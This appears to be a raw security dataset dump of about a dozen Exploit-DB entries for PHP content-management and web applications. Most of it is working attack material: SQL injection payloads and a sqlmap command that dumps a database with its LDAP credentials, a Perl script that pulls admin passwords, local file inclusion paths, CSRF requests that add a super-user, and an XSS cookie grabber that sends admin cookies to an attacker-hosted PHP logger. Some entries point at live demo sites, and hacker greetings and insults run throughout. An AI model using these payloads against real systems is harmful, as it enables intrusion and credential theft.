deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51422
Description: Cmaps v8.0 - SQL injection
Type: webapps
Platform: php
Date: 2023-05-05
Author: Lucas Noki (0xPrototype)

Exploit:
# Exploit Title: Cmaps v8.0 - SQL injection

- Date: 27.04.2023
- Exploit Author: Lucas Noki (0xPrototype)
- Vendor Homepage: https://github.com/vogtmh
- Software Link: https://github.com/vogtmh/cmaps
- Version: 8.0
- Tested on: Mac, Windows, Linux
- CVE : CVE-2023-29809

*Description:*

The vulnerability found is an SQL injection. The `bookmap` parameter is vulnerable. When visiting the page: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test we get the normal JSON response. However if a single quote gets appended to the value of the `bookmap` parameter we get an error message:
```html
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
```

Now if two single quotes get appended we get the normal response without an error. This confirms the opportunity for sql injection. To really prove the SQL injection we append the following payload: 
```
'-(select*from(select+sleep(2)+from+dual)a)--+
```

The page will sleep for two seconds. This confirms the SQL injection.

*Steps to reproduce:*

1. Send the following payload to test the vulnerability: ```'-(select*from(select+sleep(2)+from+dual)a)--+```

2. If the site slept for two seconds run the following sqlmap command to dump the whole database including the ldap credentials.
   ```shell
   python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
   ```

Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.



## Request to the server:

<img src="Screenshot 2023-04-30 at 22.23.51.png" alt="Screenshot 2023-04-30 at 22.23.51" style="zoom:50%;" />

## Response from the server:

Look at the response time.
<img src="Screenshot 2023-04-30 at 22.24.35.png" alt="Screenshot 2023-04-30 at 22.24.35" style="zoom:50%;" />
Exploit-DB #6313
Description: CMME 1.12 - Local File Inclusion / Cross-Site Scripting / Cross-Site Request Forgery/Download Backup/Make Directory
Type: webapps
Platform: php
Date: 2008-08-26
Author: SirGod

Exploit:
##################################################################################################################
[+] CMME 1.12 (LFI/XSS/CSRF/Download Backup/MkDir) Multiple Remote Vulnerabilities 
[+] Discovered By SirGod                        
[+] www.mortal-team.org                        
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz
##################################################################################################################

[+] Local File Inclusion

    Note : magic_quotes_gpc must be off.
 
    Example :

     http://localhost/index.php?page=weblog&env=[Local File]%00

    PoC :

     http://localhost/index.php?page=weblog&env=../../../autoexec.bat%00
    

[+] Download Backup

     Example 1:

       http://localhost/backup/[Backup Name].zip

     PoC 1:

       http://localhost/backup/cmme_data.zip

     Live Demo 1:

       http://cmme.oesterholt.net/backup/cmme_data.zip

     Example 2:

       http://localhost/backup/[Backup Name].zip

     PoC 2:

       http://localhost/backup/cmme_cmme.zip

     Live Demo 2:

       http://cmme.oesterholt.net/backup/cmme_cmme.zip

      
[+] Make Directory

    You can make multiple directories in website root folder.

      Example 1:
     
        http://localhost/admin.php?action=login&page=home&script=index.php&env=[Directory]

      PoC 1:

        http://localhost/admin.php?action=login&page=home&script=index.php&env=!!!Owned!!!


    Or you can make dir in previous directory,etc.

      Example 2:

        http://localhost/admin.php?action=login&page=home&script=index.php&env=../[Directory]

      PoC 2:

        http://localhost/admin.php?action=login&page=home&script=index.php&env=../!!!Owned!!!


[+] Cross Site Scripting  

     Example 1:
     
      http://localhost/statistics.php?action=hstat_year&page=[XSS}&env=data

     PoC 1:

      http://localhost/statistics.php?action=hstat_year&page=<script>alert(document.cookie)</script>&env=data

     Live Demo 1:

      http://cmme.oesterholt.net/statistics.php?action=hstat_year&page=<script>alert(document.cookie)</script>&env=data

     Example 2:

      http://localhost/statistics.php?action=hstat_year&year=[XSS]&env=data

     PoC 2:

      http://localhost/statistics.php?action=hstat_year&year=<script>alert(document.cookie)</script>&env=data

     Live Demo 2:
     
      http://cmme.oesterholt.net/statistics.php?action=hstat_year&year=<script>alert(document.cookie)</script>&env=data


[+] Cross Site Request Forgery

    If an logged in user with administrator privileges clicks the following link he will be logged out.

      http://localhost/admin.php?action=logout&page=home&env=data


##################################################################################################################

# milw0rm.com [2008-08-26]
Exploit-DB #5905
Description: cmreams CMS 1.3.1.1 beta2 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-22
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??       [ Local File Include ]                         [XSS]               ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : CMReams CMS 1.3.1.1 B2 ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????
  
[LFI]

http://localhost/path/load_language.php?page_language=[LFI]

[XSS]

http://localhost/path/backend/umleitung.php?lang[be_red_text]=[XSS]


??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????


# milw0rm.com [2008-06-22]
Exploit-DB #12333
Description: cms (id) 5.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-22
Author: spykit

Exploit:
-----------------------------------------------------------------------
CmS (id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author : spykit
Site : http://devilzc0de.org/
Date : April, 22-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : CmS
Vendor : http://hotsweb.com
Price : free
Version : version 5.0
Google Dork: allinurl: Category.php?IndustrYID=
---------------------------------------------------------------

Exploitz:
~~~~~~~

union all select
1,2,concat_ws(0x3a,LoginID,Password,AdminEmail,AdminEmailPassword) from
admin--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/category.php?IndustryID=[SQLI]
----------------------------------------------------------------

Shoutz:
~~~~

- 'oH lawd !! Malingsial lame forum g0t hacked for second times by
Us,lulz...'
-
LeQhi,lingah,GheMaX,v3n0m,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,c4uR,xtr0nic,adwisatya, and all member crew devilzc0de...
-hendri_note: jgn suka ngambek kang malu sama umur.. bruakkakaka
- #devilzc0de @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

spykit | devilzc0de CREW | daniel_sapuleka@yahoo.com
Homepage: http://devilzc0de.org

---------------------------[EOF]--------------------------------
Exploit-DB #10648
Description: cms -db 0.7.13 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-25
Author: cp77fk4r

Exploit:
# Author: cp77fk4r | Empty0pagE[SHIFT+2]Gmail.com
# Software Link: [http://cms-db.de/download]
# Version: [cms -db <= v0.7.13]
#
#
# [CSRF]
-Add super-user: <POST>
URL:
/cms/admin/newuser.php
#
PARAMS: <POST>
user=[USER_NAME]&pass=[PASSWORD]&repeat=[PASSWORD]&pages=on&files=on&includes=on&template=on&gbook=on&blog=on&stats=on&button=Save
#
-Delete user: <GET&POST>
USR:
http://[SITE_URL]/admin/deluser.php
#
PARAMS: <GET>
user=[USER_ID].php
#
PARAMS: <POST>
user=[USER_ID].php&button=Yes
#
-Set ftp server login: <POST>
URL:
/cms/admin/ftpsettings.php
#
PARAMS: <POST>
ftpserver=localhost&ftpuser=[USERNAME]&ftppw=[PASSWORD]&ftpdir=%2F&button=Save
#
#
# [XSS]
http://[SITE_URL]/admin/index.php?locale=[XSS]
http://[SITE_URL]/blogfeed.php?l=[XSS]
http://[SITE_URL]/admin/users.php?saved=[XSS] <Login required>
#
#
# [Full Path Disclosure]
Fatal errorz:
URL:
http://[SITE_URL]/gb.php
Fatal error: Call to a member function addToHead() on a non-object
in [Full Path] on line 13
#
http://[SITE_URL]/contact.php
Fatal error: Class 'LocalizingClass' not found in [Full
Path]/contact.php on line 3
#
http://[SITE_URL]/blog.php
Fatal error: Class 'LocalizingClass' not found in [Full
Path]/blog.php on line 7
#
Warning:
http://[SITE_URL]/functions_url.inc.php
Warning: include() [function.include]: Unable to access
../data/settings/url.inc.php in [Full Path]/functions_url.inc.php on
line 10
Warning: include(../data/settings/url.inc.php) [function.include]:
failed to open stream: No such file or directory in [Full
Path]/functions_url.inc.php on line 10
Warning: include() [function.include]: Unable to access
../data/settings/url.inc.php in [Full Path]/functions_url.inc.php on
line 10
Warning: include(../data/settings/url.inc.php) [function.include]:
failed to open stream: No such file or directory in [Full
Path]/functions_url.inc.php on line 10
Warning: include() [function.include]: Failed opening
'../data/settings/url.inc.php' for inclusion
(include_path='.:/usr/share/php:/usr/share/pear') in [Full
Path]/functions_url.inc.php on line 10
Warning: file_get_contents() [function.file-get-contents]: Unable
to access ../data/urlindex.txt in [Full Path]/functions_url.inc.php on
line 11
Warning: file_get_contents(../data/urlindex.txt)
[function.file-get-contents]: failed to open stream: No such file or
directory in [Full Path]/functions_url.inc.php on line 11
#
#
# [e0f]
Exploit-DB #12301
Description: CMS Ariadna 2009 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-19
Author: Andrés Gómez

Exploit:
# Exploit Title : CMS Ariadna 2009 SQL Injection
# Date : 2010-04-19
# Author : Andrés Gómez
# Contact : gomezandres@adinet.com.uy
# Dork : "allinurl: detResolucion.php?tipodoc_id="
########################################################################
Exploit in Perl Start In Next Line:

use LWP::Simple;

########################################################################
# Malicious users may inject SQL querys into a vulnerable
# application to fool a user in order to gather data from them or see
sensible information.
########################################################################
# Solution:
# $_GET = preg_replace("|([^\w\s\'])|i",'',$_GET);
# $_POST = preg_replace("|([^\w\s\'])|i",'',$_POST);
########################################################################
# Special Thanks : HYPERNETHOST & Security-Pentest & Mauro Rossi
##########################[Andrés Gómez]#################################

my $target = $ARGV[0];
unless ($target) { print "\n Inyector Remoto -- HYPERNETHOST &
Security-Pentest -- Andres Gomez\n\n";
print "\ Dork: allinurl: detResolucion.php?tipodoc_id=\n";
print "\nEjemplo Ejecucion = AriadnaCms.pl
http://www.sitio.extension/path/\n" ; exit 1; }

$sql =
"detResolucion.php?tipodoc_id=33+and+1=0+union+select+concat(0x[PII_REDACTED]697479,adm_nombre,0x3a,0x70656e74657374,adm_clave)+from+administrador--";

$final = $target.$sql;
$contenido = get($final);

print "\n\n[+] Pagina Web: $target\n\n";
if ($contenido =~/security(.*):pentest(.*)/) {
print "[-] Datos extraidos con exito:\n\n";
print "[+] Usuario = $1\n";
print "[+] Password = $2\n";
} else {
print "[-] No se obtuvieron datos\n\n";
exit 1;
}

print "\n[ñ] Escriba exit para salir de la aplicacion\n";

exit 1;
Exploit-DB #43272
Description: CMS Auditor Website 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: CMS Auditor Website 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/cms-auditor-website/
# Demo: http://74.124.215.220/~projclient/client/auditor/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/news-detail/47[SQL]
# 
# 
# # # # #
Exploit-DB #37430
Description: CMS Balitbang - Multiple HTML Injection / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-06-19
Author: TheCyberNuxbie

Exploit:
source: https://www.securityfocus.com/bid/54084/info

CMS Balitbang is prone to HTML-injection and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

CMS Balitbang 3.5 is vulnerable; other versions may also be affected. 

http://www.example.com/balitbang/member/user.php?id=guruabsendetail&kd=<script>alert(document.cookie);</script> [XSS]

http://www.example.com/balitbang/admin/admin.php?mode=mengajar_detail&nip=<script>alert(document.cookie);</script> [XSS]
Exploit-DB #8984
Description: CMS buzz - Cross-Site Scripting / Password Change / HTML Injection
Type: webapps
Platform: php
Date: 2009-06-18
Author: ThE g0bL!N

Exploit:
#################################################################################################################
[+] CMS Buzz (xss/Change Password)Multiple Remote Vulnerabilities
[+] Discovered By ThE g0bL!N
[+] Vendor:cmsbuzz.com
[+] Note : If you are The S3r!0uS  I say To Fuck you Because You are Hacked  Site Of My Best Friends dz-boys.com
[+] Demo:http://demo.cmsbuzz.com/
[+] Greeting : All my freinds ( Dz )
#################################################################################################################
Remote Changing Password:
+++++++++++++++++++++++++
1) You Must Register In ThE site http://www.victim.com/?action=register
2) Login
3) Go To url:
    http:///www.victim.com/?action=profile&user= [ Name Of user ]
Example
http:///www.victim.com/?action=profile&user=admin
Change admin Password Then go To login http://path/?action=login
Cross Site Scritping
++++++++++++++++++++
http://www.victim.com/?action=search
<script>alert("xss")</script>

#################################################################################################################
[+] CMS Buzz Cookie Grabber Exploit& HTML Injection
[+] Discovered By ThE g0bL!N
[+] Vendor:http://msbuzz.com/
[+] Fuck You The S3r!0uS
#################################################################################################################
PoC
--
[+] Make 2 files and upload to your host :
[+]cookie.php  - > Put in this File That Code:
 <?php
 $cookie = $_GET['cookie'];
 $log = fopen("log.txt", "a");
 fwrite($log, $cookie ."\n");
 fclose($log);
 ?>
[+]log.txt   - > CHMOD it 777 and put in the same directory with cookie.php
 
[+]Exploit:
   -------
1) Register in The SIte
2) Go to send message http://path/?action=compose
3)We Put in
  To:admin name
  Subject: Some Subject
  Message: <script>document.location ="http://localhost/[path]/cookie.php?cookie=" + document.cookie;</script>
  The js code Worked When The admin Read The Message
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2) HTML Injection
+++++++++++++++++
1) Register :p
2) Go to send message http://path/?action=compose
3)We Put in
  To:admin name
  Subject: Some Subject
  Message: 1)XSS:PoC :<script>alert("xss")</script>
             ---------
           2)Poc: Iframe :"><iframe src=http://www.google.com/></iframe>
       -------------
     3)PoC : Redirection:">"">>>><meta http-equiv="Refresh" content="0;url=http://www.google.com/"> ""
     -------------------
     DEMO:http://demo.cmsbuzz.com
################################################################################################################

# milw0rm.com [2009-06-18]
Exploit-DB #11610
Description: CMS by MyWorks - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-01
Author: Palyo34

Exploit:
CMS by MyWorks SQL/ XSS Vulnerability  
========================================================  
    
####################################################################  
# Author : Palyo34

# Home   : www.1923Turk.com 

# Script : CMS by MyWorks 
 
# Script site: http://www.myworks.spb.ru/                
    
####################################################################  
    
===[ Exploit ]===  
    
http://server/catalog/good.php?good_id= SQL INJECTION 
    
  1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12
  
Demo: 
  
http://server/catalog/good.php?good_id=1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12
  
     
###################################################################


===[XSS Vulnerability]=== 


http://server/catalog/good.php?good_id=


http://server/catalog/good.php?good_id=164<script>alert("XSS")</script>
Exploit-DB #11863
Description: CMS By SoftnSolv - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-24
Author: Th3 RDX

Exploit:
# Exploit Title: CMS By SoftnSolv (index.php) SQL Injection Vulnerable
# Date: 24-03-2010
# Author: Th3 RDX
# Software Link:
# Version: 1.0
# category: webapp
# Code :
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Gr33tz to ### www.Teamicw.in | www.IndiShell.in | www.AndhraHackers.com ###
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Sp3c1al Th4nkz to : R00T and R45C4L
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

##############################################################################
%//

----- [ Founder ] -----

Th3 RDX

----- [ E - mail ] -----

th3rdx@gmail.com


%\\
##############################################################################

##############################################################################
%//

----- [Title] -----

CMS By SoftnSolv (index.php) SQL Injection Vulnerable

----- [ Vendor ] -----

http://www.softnsolv.com/

%\\
##############################################################################

##############################################################################
%//

----- [ Exploit (s) ] -----

Put [CODE] = SQL Injection Code

{e.g = 45+and+1=0++Union+Select+UNHEX(HEX([visible])) ,2 (tables & column) }

[SQLi] http://server/cms/index.php?es_id=44[CODE]

[SQLi] http://server/cms/index.php?cid=45[CODE]

[SQLi] http://server/cms/index.php?es_id=46[CODE]


%\\
##############################################################################



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Thanks To All: www.Exploit-db.com | wwww.inj3ct0r.com | www.hack0wn.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bug discovered : 24 March 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Exploit-DB #14299
Description: CMS Contentia - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-07-09
Author: GlaDiaT0R

Exploit:
##############################################################################
# [+]Title: [CMS Contentia (news.php) SQL Injection Vulnerability]
##############################################################################
# [+] About :
##############################################################################
# Author :  GlaDiaT0R  
# Contact: the_gl4di4t0r[AT]hotmail[DOT]com or berrahal.ryadh[AT]gmail[DOT]com
# Team :  Tunisian Power Team 
# Greetz : ALLAH ! , Boomrang_victim, Marwen_Neo, Alphanix, Zigma & my friends
##############################################################################
# Software Link: http://www.jmc.pl/rozwiazania_cms.php
# Google dork : Ennay! In ur dreams
# Category:  webapps/0day 
##############################################################################


=======================

Poc : http://localhost/news.php?id=[SQLi]

=======================





###########################################
Notice: I'M MUSLIM
###########################################